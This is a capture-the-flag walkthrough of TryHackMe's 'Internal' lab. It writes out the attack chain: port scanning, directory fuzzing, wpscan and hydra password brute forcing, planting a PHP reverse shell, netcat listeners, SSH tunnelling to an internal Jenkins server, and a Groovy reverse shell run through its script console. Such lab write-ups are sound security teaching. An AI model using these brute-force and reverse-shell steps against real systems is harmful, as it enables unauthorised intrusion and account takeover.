October 27, 2026
TryHackMe’s “Internal” CTF Walkthrough
I started by adding the target machine’s IP address to my /etc/hosts file, mapping it to the internal.thm domain per requested in scope…

By Omer David
3 min read
I started by adding the target machine's IP address to my /etc/hosts file, mapping it to the internal.thm domain per requested in scope allowances.
nano /etc/hostsnano /etc/hosts
Then I scanned for open ports and versions of services running on those ports with nmap
nmap -sS -sV [TARGET_IP]nmap -sS -sV [TARGET_IP]
I user ffuf to enumerate subdirectories on the webserver
ffuf -u http://[TARGET_IP]/FUZZ -u /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 404ffuf -u http://[TARGET_IP]/FUZZ -u /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 404
From the blog webpage I got to a post written by user "admin", with that username I performed a brute force attack using wpscan that allowed me to gain access to an administrator account.
wpsacn --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txtwpsacn --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt
Once I was logged in I planted Pentestmonkey's PHP reverse shell in the archive.php page, I then set up a netcat listener on port 4444 and got a shell as www-data.
VVV NETCAT LISTENER VVV
nc -lvnp 4444VVV NETCAT LISTENER VVV
nc -lvnp 4444
I was able to move horizontally to a user named "aubreanna" by finding the password written in plain text inside the /opt folder.
Once logged in I obtained the first flag that was located in the user's home directory.
The jenkins.txt file exposed the following:
So I used SSH local port forwarding to access the internal Jenkins web interface from my Kali machine.
ssh -L 9000:172.17.0.2:8080 aubreanna@internal.thmssh -L 9000:172.17.0.2:8080 aubreanna@internal.thmOnce the SSH tunnel was set I was able to brute force the Jenkins login portal via hydra with the username "admin".
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 9000 localhost http-post-form "/j_acegi_security_check:_username=^USER^&j_password=^PASS^&Submit=Sign+in:Invalid username or password"hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 9000 localhost http-post-form "/j_acegi_security_check:_username=^USER^&j_password=^PASS^&Submit=Sign+in:Invalid username or password"
Once I logged into Jenkins I used the script console under "Manage Jenkins" to execute a reverse shell written in Groovy (Credit to frohoff)
(note: make sure to change "host" to your ip, and the "port" to the port you're listening on as well as change the "cmd" parameter to run "/bin/sh")
I set up a listener using netcat to catch that reverse shell
nc -lvnp 9009nc -lvnp 9009Then once I pressed 'run' I had a reverse shell as user 'jenkins'
In the /opt directory, as Jenkins I found a note.txt file containing the password for root:
Once logged in I was able to obtain the last flag located at the home folder of root.
Conclusion
In this CTF, we began by enumerating the target web server and discovering a WordPress blog, which allowed us to brute-force the administrator credentials and gain our initial reverse shell by planting a payload in the site's PHP theme files.
From there, we moved laterally to the user 'aubreanna' after finding their plaintext password in the /opt directory, securing our first flag.
We then discovered an internal Jenkins service, established an SSH tunnel to access its web interface, and successfully brute-forced the login to execute a Groovy reverse shell via the Script Console. Finally, we achieved root privileges by uncovering a hidden note with the root password, allowing us to capture the final flag.
I learned a lot from this CTF, I found it very challenging and fun — I hope you guys enjoyed it as well, thank you so much for reading this far!
P.S If you have any requests for any walkthroughs please feel free drop them in the comments! :)